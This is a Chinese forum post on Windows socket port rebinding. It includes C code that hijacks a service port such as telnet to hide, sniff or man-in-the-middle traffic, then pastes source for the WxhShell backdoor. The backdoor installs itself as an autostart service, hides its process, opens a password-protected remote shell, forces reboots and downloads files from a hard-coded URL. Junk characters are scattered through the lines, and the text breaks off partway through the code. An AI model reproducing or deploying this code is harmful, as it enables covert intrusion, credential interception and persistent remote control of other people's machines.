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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: EIEq[`h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z|?R=;,u`  
|8`;55G  
  saddr.sin_family = AF_INET; r;T/  
v#+w<gRq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IP;@unBl  
qtH&]Suu,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -pGt ;  
jr l6):x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +e:ZN tr9  
jgo@~,5R  
  这意味着什么?意味着可以进行如下的攻击: l9ihW^  
_Lb& 2 PAG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `^ _:  
|YFD|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +=k|(8Js#  
oX4uRc7wR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;2|H6IN"  
Aii[=x8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  feW9 >f;  
bN&da [K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nu<!/O  
U}0/V c26  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L>b,}w  
R7{hoqI2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n_Y]iAoc`  
VC(|t} L4  
  #include ex+AT;o  
  #include _64@zdL+  
  #include mD)O\.uA  
  #include    Sh6Cw4 R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rfi`Bp  
  int main() Z5[:Zf?h7J  
  { 8Q -F  
  WORD wVersionRequested;  vB*oI~<  
  DWORD ret; |u;PU`^-z  
  WSADATA wsaData; 6S[D"Q94  
  BOOL val; *KH@u  
  SOCKADDR_IN saddr; yo,!u\^x  
  SOCKADDR_IN scaddr; p&mtKLv  
  int err;  0QqzS  
  SOCKET s; !y~b;>887  
  SOCKET sc; A_~5|  
  int caddsize; ]/Qy1,  
  HANDLE mt; veg!mY2&  
  DWORD tid;   W? ||9  
  wVersionRequested = MAKEWORD( 2, 2 ); "@w%TcA  
  err = WSAStartup( wVersionRequested, &wsaData ); rI+w1';C1  
  if ( err != 0 ) { "|*Kf#  
  printf("error!WSAStartup failed!\n"); A i){,nh`0  
  return -1; "nno)~)u  
  } !o':\hex6  
  saddr.sin_family = AF_INET; lY*]&8/=  
   {b0&qV   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }k0-?_Z=1  
6H,=S`V]EK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YQdX>k  
  saddr.sin_port = htons(23); %`1CE\f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `Uj?PcS_  
  { poYAiq_3T  
  printf("error!socket failed!\n"); Guw|00w,Q$  
  return -1; .`>l.gmi&  
  } i6#]$B  
  val = TRUE; ~uR6z//%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'Rd*X6dv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <!}l~Ln15  
  { L\wpS1L(  
  printf("error!setsockopt failed!\n"); K}E7|gdG  
  return -1; Oqpl2Y"/  
  } u@_!mjXQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v;]I^Kq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4[,B;7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "G9'm  
Jhsv2,8 {  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =PFR{=F  
  { C7 ]DJn  
  ret=GetLastError();  Ep\  
  printf("error!bind failed!\n"); FL#g9U>  
  return -1; S`@6c$y k  
  } &xBK\  
  listen(s,2); v=.z|QD^1  
  while(1) (!VMnLlXRK  
  { {nQ)4.e6  
  caddsize = sizeof(scaddr); q]N?@l]  
  //接受连接请求 VqClM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D,dHP-v  
  if(sc!=INVALID_SOCKET) =l8!VJa  
  { k=`$6(>Fz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;,k=<]  
  if(mt==NULL) 9p4y>3  
  { \9w~pO  
  printf("Thread Creat Failed!\n"); UA0F):  
  break; 4@h;5   
  } %&h c"7/k  
  } J1X~vQAe  
  CloseHandle(mt); P_&p=${  
  } A @2Bs 5F  
  closesocket(s); 2e59Ez%k6  
  WSACleanup(); >La><.z~  
  return 0; ,5{$+  
  }   %m`zWg-  
  DWORD WINAPI ClientThread(LPVOID lpParam)  L=]p_2+  
  { [pL*@9Sa&  
  SOCKET ss = (SOCKET)lpParam; -uj3'g (;w  
  SOCKET sc; oQ\&}@(V  
  unsigned char buf[4096]; )c+k_;t'+  
  SOCKADDR_IN saddr; =ewyQ  
  long num; UV@0gdy[  
  DWORD val; [Gtb+'8  
  DWORD ret; gi$XB}L+X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T<yb#ak  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4x=(Zw_X  
  saddr.sin_family = AF_INET; X#`dWNrN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G\kpUdj}  
  saddr.sin_port = htons(23); e<"/'Ql!k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 50$W0L$  
  { A gWPa.'3  
  printf("error!socket failed!\n"); I2[]A,f ,  
  return -1;  "r$/  
  } IZrk1fh  
  val = 100; 5JSrrpGr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |<c WllN  
  { E ]f)Os$  
  ret = GetLastError(); [>Fm [5x  
  return -1; ^B]@Lr E^  
  }  uMd. j$$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zK;XF N#U^  
  { }r3~rG<D71  
  ret = GetLastError(); KY.ZT2k  
  return -1; Q2QY* A  
  } i zwUS!5e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #ekM"p  
  { \TbVS8e^  
  printf("error!socket connect failed!\n"); 5/@UVY9_  
  closesocket(sc); ~ap2m  
  closesocket(ss); AK@L32-S  
  return -1; ;rR/5d1!  
  } mYv(R!37'  
  while(1) /nQ`&q  
  { $/Ov2z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .%}+R|g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .F2 :!h$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FHg0E++?  
  num = recv(ss,buf,4096,0); $B .Qc!m  
  if(num>0) 2`bdrRD0  
  send(sc,buf,num,0); bF-"tm  
  else if(num==0) }NCL>l;q  
  break; 3z8C  
  num = recv(sc,buf,4096,0); JAjku6  
  if(num>0) Zv!{{XO2;  
  send(ss,buf,num,0); zT9JBMNE:  
  else if(num==0) TqAPAHg  
  break; D E/:['  
  } I 3$dVls}  
  closesocket(ss); k%81f'H  
  closesocket(sc); /-M@[p&  
  return 0 ; '%;\YD9  
  } >U!*y4  
WF2-$`x  
zsQoU&D 5  
========================================================== 9 c3E+  
Dr#c)P~Wd  
下边附上一个代码,,WXhSHELL G}zZQy  
Ym8}ZW-  
==========================================================  IDFFc&  
5/0j}_pP  
#include "stdafx.h" NL"G2[e  
UQ?%|y*Kc  
#include <stdio.h> nv/[I,nw  
#include <string.h> t ?eH'*>  
#include <windows.h> 83Ou9E!W  
#include <winsock2.h> 6g:|*w  
#include <winsvc.h> uaPx"  
#include <urlmon.h> {S.>BXX  
D-p.kA3MJ  
#pragma comment (lib, "Ws2_32.lib") ^A_;#vK  
#pragma comment (lib, "urlmon.lib") 5<YzalNf  
zw@'vncc  
#define MAX_USER   100 // 最大客户端连接数 p*3; hGp6  
#define BUF_SOCK   200 // sock buffer PL=^}{r  
#define KEY_BUFF   255 // 输入 buffer 2f:^S/.A  
 $)~   
#define REBOOT     0   // 重启 eVh - _  
#define SHUTDOWN   1   // 关机 aAt>QxGQW  
% ZU/x d  
#define DEF_PORT   5000 // 监听端口 )7cb6jCU  
JK_OZ  
#define REG_LEN     16   // 注册表键长度 xyh.N)  
#define SVC_LEN     80   // NT服务名长度 Q / x8 #X  
V A^l+Z,d  
// 从dll定义API ^%T7.1'x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q 9F)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VyLH"cCv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D@ek9ARAq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #o`Ny4sq/  
= "ts`>  
// wxhshell配置信息 uRV<?y%  
struct WSCFG { S56]?M|[  
  int ws_port;         // 监听端口 [I*! lbt  
  char ws_passstr[REG_LEN]; // 口令 7L5P%zLtB  
  int ws_autoins;       // 安装标记, 1=yes 0=no : esg(  
  char ws_regname[REG_LEN]; // 注册表键名 Y$>-%KcKeI  
  char ws_svcname[REG_LEN]; // 服务名 :*514N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A;XOT6jv?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -NGK@Yk22  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uYI@ 9U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w*7|dZk{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c~}l8M %  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M)-6T{[IT  
$RX'(/  
}; w0m^ &,;#  
 gJN0!N'  
// default Wxhshell configuration E\7m< 'R  
struct WSCFG wscfg={DEF_PORT, x+5k <Xi}  
    "xuhuanlingzhe", Pz_Oe,{.I  
    1, IE~%=/|  
    "Wxhshell", RrrK*Fk8=  
    "Wxhshell", !\ND(  
            "WxhShell Service", -[7O7'  
    "Wrsky Windows CmdShell Service", )>\}~s  
    "Please Input Your Password: ", F'P Qqb{  
  1, 2/P"7A=<  
  "http://www.wrsky.com/wxhshell.exe", y7\"[<E`(V  
  "Wxhshell.exe" n^(A=G  
    }; bKVj[r8D~  
] f>]n  
// 消息定义模块 D87|q4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &a)eJF]:!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8OhDjWVJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4DWwbO  
char *msg_ws_ext="\n\rExit."; n| O [a6G  
char *msg_ws_end="\n\rQuit."; Yj(4&&Q  
char *msg_ws_boot="\n\rReboot..."; Iry  
char *msg_ws_poff="\n\rShutdown..."; X&m'.PA  
char *msg_ws_down="\n\rSave to "; A1Y7;-D  
KU9Z"9#  
char *msg_ws_err="\n\rErr!"; 9%)=`W  
char *msg_ws_ok="\n\rOK!"; ,{eU P0]  
4 {GU6v)f  
char ExeFile[MAX_PATH]; &p UZDjo?  
int nUser = 0; Vn=qV3OE]  
HANDLE handles[MAX_USER]; 2GmpCy`L"  
int OsIsNt; I3S9Us-\  
:VmHfOO  
SERVICE_STATUS       serviceStatus; )QiQn=Ce  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SF ]@|  
nQK|n^AU/  
// 函数声明 E .6HpIx  
int Install(void); cTZ.}eLh  
int Uninstall(void); \[2lvft!  
int DownloadFile(char *sURL, SOCKET wsh); ;(6g\'m  
int Boot(int flag); 9?T{}| ?  
void HideProc(void); 5 x2Ay=s  
int GetOsVer(void); ]1-z! B4K  
int Wxhshell(SOCKET wsl); tCF&OOI4`  
void TalkWithClient(void *cs); 3B0lb "e  
int CmdShell(SOCKET sock); !hxIlVd{  
int StartFromService(void); -]G(ms;}/Y  
int StartWxhshell(LPSTR lpCmdLine); ni&*E~a  
0pe3L   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7Ob*Yv=[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \6|/RFT  
%%%fL;-y  
// 数据结构和表定义 f,i5iSYf  
SERVICE_TABLE_ENTRY DispatchTable[] = o@>? *=  
{ R614#yn-+  
{wscfg.ws_svcname, NTServiceMain}, gW(gJ; L,%  
{NULL, NULL} #:fQ.WWO  
}; Ft{[ae?4  
m@Ev~~;  
// 自我安装 n;XWMY  
int Install(void) Z-=YM P ]Q  
{ m8]?hJY 3l  
  char svExeFile[MAX_PATH]; "7%:sty  
  HKEY key; aiCFH_H4;L  
  strcpy(svExeFile,ExeFile); ] 7;f?+  
"HMP$)d  
// 如果是win9x系统,修改注册表设为自启动  EEy$w1ec  
if(!OsIsNt) { d=.2@Ry  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dm rps+L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zQy"m-Q  
  RegCloseKey(key); { Ng oYl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @# P0M--X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Weoj|0|t  
  RegCloseKey(key); ^o?SM^  
  return 0; dHnR_.  
    } z|R,&~:  
  } "pxzntY|  
} c2l_$p  
else { 2pHR_mrb  
UK#&lim  
// 如果是NT以上系统,安装为系统服务 jP vDFT^d/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @=S}=cl  
if (schSCManager!=0) Q }k.JS~#  
{ #1'\.v  
  SC_HANDLE schService = CreateService YO)$M-]>%J  
  ( q=HHNjj8  
  schSCManager, A?5E2T1L%.  
  wscfg.ws_svcname, D:\g,\Z  
  wscfg.ws_svcdisp, Myat{OF  
  SERVICE_ALL_ACCESS, Is<"OQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]-o"}"3Ef  
  SERVICE_AUTO_START, bZ _mYyBh  
  SERVICE_ERROR_NORMAL, Wx'Kp+9'  
  svExeFile, `L;eba  
  NULL, X8eJ4%  
  NULL, {npcPp9  
  NULL, l7(!`NPbC  
  NULL, gCd`pi 8  
  NULL 07T70[G  
  ); ?eV(1 Fr@  
  if (schService!=0) [ //R~i?  
  { C8N{l:1f]  
  CloseServiceHandle(schService); C.:=lo B  
  CloseServiceHandle(schSCManager); C) QKPT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I7QCYB|  
  strcat(svExeFile,wscfg.ws_svcname); 5(2|tJw-H;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3LR p2(A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f"#m=_Xm  
  RegCloseKey(key); M/PFPJ >`  
  return 0; bok.j  
    } pZZgIw}aS  
  } !2CL1j0(  
  CloseServiceHandle(schSCManager); YIt9M,5/Q  
} !U_ K&f  
} _,Fny_u=;  
u/b7Z`yX}  
return 1; b/$km?R  
} E9j+o y  
<[aDo%,A  
// 自我卸载 Yw3oJf&  
int Uninstall(void) ukgAI<O%  
{ D8{D [fJ;  
  HKEY key; MOn,Db$  
6[ qA`x#  
if(!OsIsNt) { W^,S6!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yn AB  
  RegDeleteValue(key,wscfg.ws_regname); VO3pm6r5  
  RegCloseKey(key); ubMOD<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dBsX*}C  
  RegDeleteValue(key,wscfg.ws_regname); uy_wp^  
  RegCloseKey(key); 4PLk  
  return 0; #BVtL :x@  
  } `Ycf]2.,$  
} p1pQU={<  
} #$~ba %t9%  
else { C-eA8pYY/  
F~#zxwd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2'jOP" G  
if (schSCManager!=0) s1Ok|31|  
{ 2A`A\19t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kr'f-{  
  if (schService!=0) &K_)#v`|  
  { B 3m_D"?  
  if(DeleteService(schService)!=0) { a ?} .Fs  
  CloseServiceHandle(schService); ]G.%Ty  
  CloseServiceHandle(schSCManager); ( GnuWc\p  
  return 0; A,-6|&F  
  } W/z7"#  
  CloseServiceHandle(schService); [u@Jc,  
  } <tpmUA[]  
  CloseServiceHandle(schSCManager);  UsGa  
} vzzE-(\\e  
} JTqDr  
`0H g y=  
return 1; .LVQx  
} mC&=X6Q]  
yNW\?Z$@q  
// 从指定url下载文件 3K&4i'}V  
int DownloadFile(char *sURL, SOCKET wsh) %+ 7p lM  
{ 6K cD&S/  
  HRESULT hr; f:*vr['d  
char seps[]= "/"; kp?w2+rz  
char *token; OJT1d-5p  
char *file; 4p%A8%/q  
char myURL[MAX_PATH]; 6-`|:[Q~  
char myFILE[MAX_PATH]; bQe^Px5 !.  
U<XSj#&8|  
strcpy(myURL,sURL); t%8d-+$  
  token=strtok(myURL,seps); ,~._}E&9I  
  while(token!=NULL) G+F: 99A  
  { 7VP32Eh[  
    file=token; Tyck/ EO  
  token=strtok(NULL,seps); eY e,r  
  } ,UuH}E  
t]e;;q=L.  
GetCurrentDirectory(MAX_PATH,myFILE); ZWS`\M  
strcat(myFILE, "\\"); [ Fz`D/  
strcat(myFILE, file); n?c]M  
  send(wsh,myFILE,strlen(myFILE),0); t2"FXTAq  
send(wsh,"...",3,0); nqf,4MR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7sXxq4  
  if(hr==S_OK) n..g~ $k  
return 0; znHnVYll(  
else x+]\1p  
return 1; @62Mk},9 c  
fYW6b[lI  
} n\Lb.}]1~  
kTvd+TP4  
// 系统电源模块 t N2Md}@e  
int Boot(int flag) 7t*"%]o  
{ &%/7E_j7  
  HANDLE hToken; gatB QwJb9  
  TOKEN_PRIVILEGES tkp; NG6& :4!  
pf7it5  
  if(OsIsNt) { cSm%s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (V HL{rj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]i)j3 WDz]  
    tkp.PrivilegeCount = 1; 5;{H&O9Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FeTL&$O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D~\$~&_]=  
if(flag==REBOOT) { A\.GV1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L{`JRu  
  return 0; "%x<ttLl  
} AoI/n4T^  
else { # m *J&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *C:|X b<9  
  return 0; c7FRI0X  
} TU 1I} ,  
  } ` 5C~  
  else { O7$hYk  
if(flag==REBOOT) { m RO~aD!N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QD>"]ap,o  
  return 0; <|Pun8j  
} EB8\_]6XJ  
else { d:U9pC$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GHeVp/u  
  return 0; 8zR~d%pK  
} [n$BRk|  
} n= u&uqA*  
% V ;?  
return 1; y7i*s^ys{  
} L# 2+z@g  
;h jwD  
// win9x进程隐藏模块 e;[F\ov %  
void HideProc(void) ynhmMy%  
{ 9BuSN*4  
W!>.$4Q9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6gs01c,BA  
  if ( hKernel != NULL ) k<\$OoOZ  
  { SrK)t.oK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N/K.%<h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9^G/8<^^>  
    FreeLibrary(hKernel); <U\B!fO'  
  } @("a.;1#o  
yLQ*"sw\  
return; uvG]1m#  
} 1jF`5k  
\hEN4V[  
// 获取操作系统版本 J\M>33zu  
int GetOsVer(void) d! LE{  
{ b7p@Dn?E  
  OSVERSIONINFO winfo; k+ty>bP=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5X:*/FuS@  
  GetVersionEx(&winfo); 8;+B*+%@n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @dPTk"P  
  return 1; %*0^0wz  
  else <yNM%P<Oy  
  return 0; `6]%P(#a  
} n' q4  
GfmI<{da  
// 客户端句柄模块 +N:o-9  
int Wxhshell(SOCKET wsl) X6@WwM~qz  
{ OZ~5*v  
  SOCKET wsh; t_$2CRG#  
  struct sockaddr_in client; 'DL`Ee\  
  DWORD myID; G#u6Am)T  
!FElW`F  
  while(nUser<MAX_USER) 6&!PmKFO.  
{ = 's(|  
  int nSize=sizeof(client); G?;e-OhV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yEhTNBa*h{  
  if(wsh==INVALID_SOCKET) return 1; =pS5uR~  
n O\"HLM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5n9B?T8C  
if(handles[nUser]==0) Hn%xDJ'  
  closesocket(wsh); H?&Mbw d  
else "2)H'<  
  nUser++; .ZVUd84B  
  } ~&7MkkftM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a!"$~y$*  
6i.-6></  
  return 0; ]v]qChZHd  
} ~,oMz<iMV  
o:3dfO%nuM  
// 关闭 socket }dWq=)*  
void CloseIt(SOCKET wsh) ToXki,  
{ Z7hgA-t  
closesocket(wsh); ,+meT`'vn  
nUser--; ,y 2$cO_>  
ExitThread(0); x,|hU@h  
} 'E/^8md>  
C/vI EYG4  
// 客户端请求句柄 YW_Q\|p]M  
void TalkWithClient(void *cs) aTqd@},?  
{ 'B 43_  
Vzdh8)Mu\  
  SOCKET wsh=(SOCKET)cs; vd 0ljA  
  char pwd[SVC_LEN]; pgI^4h  
  char cmd[KEY_BUFF]; )4gJd? 8R  
char chr[1]; %)|9E>fP]N  
int i,j; Crho=RJPR  
 -QM: q  
  while (nUser < MAX_USER) { 7=TF.TW)  
H%UL%l$  
if(wscfg.ws_passstr) { TMlP*d#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {mZC$U'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gQxbi1!;9  
  //ZeroMemory(pwd,KEY_BUFF); <acUKfpY  
      i=0; dZ  rAn  
  while(i<SVC_LEN) { +cgSC5nR  
h|VeG3H  
  // 设置超时 Z~oo;xE  
  fd_set FdRead; 'IZI:V"  
  struct timeval TimeOut; %Y<|;0v  
  FD_ZERO(&FdRead); ,2j&ko1  
  FD_SET(wsh,&FdRead); 7 %Oa;]|  
  TimeOut.tv_sec=8; ~$:|VHl  
  TimeOut.tv_usec=0;  "HElB9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =(NB%}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); - }7e:!.  
Z:,U]Z(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +BVym~*^  
  pwd=chr[0]; zVXC1u9B  
  if(chr[0]==0xd || chr[0]==0xa) { xy5lE+E_U  
  pwd=0; J pFfzb  
  break; M m[4yP%  
  } UDL!43K  
  i++; zEd0Tmt  
    } x_| UPF  
uw [<5  
  // 如果是非法用户,关闭 socket M=1nQF2J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6+.uU[x@  
} ]h>_\9qO  
 ud xZ0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bt> }rYz1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?o oe'V@  
l>Z5 uSG  
while(1) { o7J  
&u /Nf&A  
  ZeroMemory(cmd,KEY_BUFF); *AoR==:ya  
SH_(rQby  
      // 自动支持客户端 telnet标准   }Mf!-g  
  j=0; MHh~vy'HB5  
  while(j<KEY_BUFF) { 0~ZFv Wv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J?RabYd ~  
  cmd[j]=chr[0]; W=#:.Xj[  
  if(chr[0]==0xa || chr[0]==0xd) { J6U$qi  
  cmd[j]=0; @x"0_Qw  
  break; GB>QK  
  } +V m}E0Ov  
  j++; rG4';V^q  
    } *pAV2V(!23  
E"+QJ~!  
  // 下载文件 .2%zC & ;  
  if(strstr(cmd,"http://")) { Po ZuMF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =x<ge_Y  
  if(DownloadFile(cmd,wsh)) oASY7k_3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (iL|Sq&}b  
  else <_3b1VhZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]}U*_rM:  
  } X:6c}p%,!  
  else { vg3=8>#  
&;+ -?k|  
    switch(cmd[0]) { [-\%4  
  D@Vt^_  
  // 帮助 LG<J;&41~S  
  case '?': { ^c&L,!_)H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VH+%a<v"  
    break; $u9K+>.  
  } )xbHCoU,  
  // 安装 KO]T<R h<  
  case 'i': { +tVaBhd!  
    if(Install()) ;~"FLQg@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); huJ&]"C  
    else Y8o)FVcyNy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ch0{+g&  
    break; Ed_N[ I   
    } 13@|w1/Z  
  // 卸载 P %#<I}0C  
  case 'r': { .w0s%T,8}^  
    if(Uninstall()) M7@2^G]p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r]b_@hT',  
    else CE/Xfh'44  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EL(nDv  
    break; BDR.AZ  
    } i(>4wK!!  
  // 显示 wxhshell 所在路径 y#q?A,C@n  
  case 'p': { Pmh8sw  
    char svExeFile[MAX_PATH]; maXG:l|  
    strcpy(svExeFile,"\n\r"); T[j#M+p  
      strcat(svExeFile,ExeFile); `NgAT 3zq  
        send(wsh,svExeFile,strlen(svExeFile),0); Q$="_y2cTA  
    break; p$PKa.Y3  
    } YbTxn="_  
  // 重启 k3) dEH1z  
  case 'b': { UFp,a0|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :9^;Qv*  
    if(Boot(REBOOT)) i 7x7xtq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A29gz:F(  
    else { NiU2@zgl  
    closesocket(wsh); T>R0T{A  
    ExitThread(0); .y@oz7T5  
    } L$IQuy  
    break; 6~1|qEe6I  
    } gx\&_) w N  
  // 关机 )u/yF*:n  
  case 'd': { K }Vv4x1U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]3KhgK%c8  
